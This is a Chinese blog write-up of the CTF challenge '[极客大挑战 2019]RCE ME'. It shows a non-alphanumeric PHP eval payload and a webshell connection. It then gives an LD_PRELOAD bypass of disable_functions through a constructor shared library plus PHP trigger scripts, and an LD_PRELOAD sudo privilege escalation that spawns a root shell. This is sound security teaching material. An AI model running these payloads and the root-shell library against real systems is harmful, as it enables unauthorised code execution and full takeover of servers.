LD_PRELOAD绕过disable_functions&LD_PRELOAD提权

例题

[极客大挑战 2019]RCE ME

一开始想着回溯绕过但是失败了

import requests

url='http://3b60ddaa-e867-4cc2-91cc-2888110460a5.node5.buuoj.cn:81/'
data={
    'code':'very'*10000000+'phpinfo'
}
r=requests.post(url=url,data=data).text
print(r)

进入得源码

<?php
// 关闭错误报告,防止显示错误信息
error_reporting(0);

// 检查是否通过 GET 请求传递了 'code' 参数
if (isset($_GET['code'])) {
    // 获取 'code' 参数的值
    $code = $_GET['code'];
    
    // 检查 'code' 参数的长度是否超过 40 个字符
    if (strlen($code) > 40) {
        // 如果长度超过 40,则输出 "This is too Long." 并终止脚本
        die("This is too Long.");
    }
    
    // 使用正则表达式检查 'code' 是否只包含字母和数字
    // 如果符合条件,则输出 "NO." 并终止脚本
    if (preg_match("/[A-Za-z0-9]+/", $code)) {
        die("NO.");
    }
    
    // 使用 @eval() 执行 'code' 参数的内容
    // @ 号用于抑制 eval() 执行时可能产生的错误
    @eval($code);
} else {
    // 如果没有传递 'code' 参数,显示当前脚本的源代码
    highlight_file(__FILE__);
}

// 结束 PHP 脚本
?>

简单的无数字字母rce
https://blog.csdn.net/miuzzx/article/details/109143413
随便用一种方法即可
先查看一下phpinfo

?code=("%0b%08%0b%09%0e%06%0f"^"%7b%60%7b%60%60%60%60")();

image

禁用了一些函数
我们使用assert

assert//assert() 的第一个参数是一个字符串,这个字符串会被当作 PHP 代码执行。
eval() 作为一个语言构造器(language construct),具有特殊的语法和执行机制,PHP 的内部解析器直接处理它。PHP 解析器对语言构造器有特定的处理方式,因此这些构造器不能通过常规的函数调用机制(例如变量函数)调用。

构造payloud(这里进行取反不然会超出长度限制)

url/?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6%D6);

image
image

直接用蚁剑连

image

我们要通过readflag来读取flag,disable_functions的存在限制了太多的函数readflag也读不出flag

image

image

image

但是蚁剑有个插件可以绕过disable_functions

image
image

这样就可以读到flag

image

还有高手

LD_PRELOAD绕过

看其他大佬的wp
发现了一个有趣的方法
用这个方法做这个的话确实比较复杂但是技多不压身吗想学的可以看一下
代码在编译成程序的时候有一个过程叫做链接-->将所引用的函数与变量链接到可执行程序中.编译过程中将所有的函数库链接完毕叫做静态链接,而动态链接则是编译过程中不进行链接操作,在程序运行时再动态的载入函数库.不管是静态链接还是动态链接,目的都很明确,载入函数库.
LD_PRELOAD 是一个环境变量,用于在运行动态链接的程序时,指定需要优先加载的共享库。通过这个机制,可以在程序运行时插入自定义代码来重写或扩展库函数。此功能常用于调试、性能分析、甚至安全研究中,模拟或修改程序的行为。
先在本地进行一个演示(id)
image

先找到id命令执行时会链接哪些表

image

使用strace跟踪id的实际调用情况

image

我们劫持id命令会调用的表getgid

image

先看一下getgid函数原型

image

我们既然要劫持就是要在创建一个表去顶替原先的表
创建
image
编译为共享库文件

gcc --shared -fPIC rob.c -o rob.so

接下来开始实验
image
成功
unsetenv 函数用于从环境中删除一个变量
防止以后你一打id就有66666666
其实原理就是


利用漏洞控制 web 启动新进程 a.bin(即便进程名无法让我随意指定),a.bin 内部调用系统函数 b(),b() 位于系统共享对象 c.so 中,所以系统为该进程加载共 c.so,想法在 c.so 前优先加载可控的 c_evil.so,c_evil.so 内含与 b() 同名的恶意函数,由于 c_evil.so 优先级较高,所以,a.bin 将调用到 c_evil.so 内 b() 而非系统的 c.so 内 b(),同时,c_evil.so 可控,达到执行恶意代码的目的。
image
但是这种方法,需要我们去找所要劫持的函数。然而劫持进程则不需要考虑前者。GCC 有个 C 语言扩展修饰符 attribute((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 attribute((constructor)) 修饰的函数.
来自
https://www.cnblogs.com/Dreamerwd/p/15421284.html


接下来我们对__attribute__((constructor)) 来进行实验

image

再来进行测试
image
成功
但是我们要想完成这个题目最终是要利用php文件
我们把LD_PRELOAD=./rob.so放入文件中
再把
再将rob.c稍作修改,使得我们可以手动传入参数
image
代码

点击查看代码
#include <unistd.h>    // 包含与 Unix 操作系统接口相关的函数
#include <stdlib.h>    // 包含标准库函数,如 getenv, unsetenv, system
#include <dlfcn.h>     // 包含动态链接库函数

// 使用 __attribute__((constructor)) 宏定义构造函数 hack
// 该函数会在共享库加载时自动执行
__attribute__((constructor)) void hack(void) {
    // 取消环境变量 LD_PRELOAD,以防止后续调用再次使用该共享库
    unsetenv("LD_PRELOAD");

    // 获取环境变量 MY_CMD 的值,存储在 cmd 指针中
    char* cmd = getenv("MY_CMD");

    // 使用 system 函数执行存储在 cmd 中的命令
    system(cmd);
}


------------

<?php

// 从命令行参数获取第一个参数
$a = $argv[1];

// 构造一个命令,将参数写入到名为 hackfile 的文件中
$cmd = "$a > hackfile";

// 设置环境变量 MY_CMD 为构造的命令
putenv("MY_CMD=" . $cmd);

// 设置环境变量 LD_PRELOAD 为当前目录下的 rob.so 共享库
putenv("LD_PRELOAD=./rob.so");

// 调用一个简单的系统函数来触发 LD_PRELOAD
gethostname();

// 读取并输出 hackfile 文件的内容
echo file_get_contents("hackfile");

?>



成功

image

sh: 1: /usr/sbin/sendmail: not found
这条消息表示系统上没有安装 sendmail,这也是脚本试图调用 mail() 函数时遇到的问题。虽然 sendmail 不存在会导致 mail() 调用失败,但由于您实际上只是利用 mail() 触发 LD_PRELOAD 的加载,这个错误可以忽略。

接下来我们看一下题目如何解
先用和上面同样的方法连上蚁剑

然后新建一定注意rob.so不能新建之后把rob.c的代码粘进去

image
可以把虚拟机的rob.so拖出来再传到蚁剑上

image

image
代码

点击查看代码
<?php

// 获取所有请求头
$headers = getallheaders();

// 从请求头中获取第一个头的值
$a = next($headers);

// 构造一个命令,将参数写入到名为 /tmp/hackfile 的文件中
$cmd = "$a > /tmp/hackfile";

// 设置环境变量 MY_CMD 为构造的命令
@putenv("MY_CMD=" . $cmd);

// 设置环境变量 LD_PRELOAD 为 /tmp 目录下的 rob.so 共享库
putenv("LD_PRELOAD=/tmp/rob.so");

// 使用 mb_send_mail 触发共享库加载
mb_send_mail("", "", "", "");

// 读取并输出 /tmp/hackfile 文件的内容
echo file_get_contents("/tmp/hackfile");

?>


------------

接下来包含hack.php再
再将请求头第一个头的值改为命令即可(当然你可以修改hack.php来改变传命令的点)

image

后面的部分加个()

image

"提权"

和上面的原理一样
我们创建一个
roc.c

#include <unistd.h>  // 引入unistd.h头文件,包含UNIX标准API,如系统调用函数
#include <stdlib.h>  // 引入stdlib.h头文件,包含常用的库函数,如system()

// 使用__attribute__((constructor))属性标记init_hack函数,
// 使其在程序启动时自动调用。这意味着在main函数执行之前,
// init_hack函数会被调用。
void init_hack() __attribute__((constructor));

// 定义init_hack函数,函数将在程序启动时被自动调用。
void init_hack() {
    // 使用unsetenv函数取消设置环境变量"LD_PRELOAD"。
    // "LD_PRELOAD"用于指定要在程序运行前加载的共享库。
    // 取消设置该环境变量可能是为了绕过某些安全措施,
    // 例如绕过加载特定的动态库。
    unsetenv("LD_PRELOAD");

    // 使用setgid(0)和setuid(0)将进程的组ID和用户ID分别设置为0。
    // 0是root用户的ID。这将使进程以root权限运行。
    setgid(0);
    setuid(0);

    // 使用system函数执行shell命令"/bin/sh"。
    // 这将启动一个新的shell(即终端),允许用户获得root权限并执行任何命令。
    system("/bin/sh");
}


再将其编译为共享库

gcc --shared -fPIC roc.c -o roc.so

然后我们只需要


sudo -l
//查找我们有的权限用来触发
LD_PRELOAD=/tmp/roc.so

然后如果有find则

sudo LD_PRELOAD=/tmp/roc.so find

image

我这是有权限所以不在/tmp目录下操作
成功


参考文章
【PHP绕过】LD_PRELOAD bypass disable_functions
RCE ME
使用LD_Preload的Linux权限升级技巧

posted @ 2024-07-23 21:06  DGhh  阅读(90)  评论(0)    收藏  举报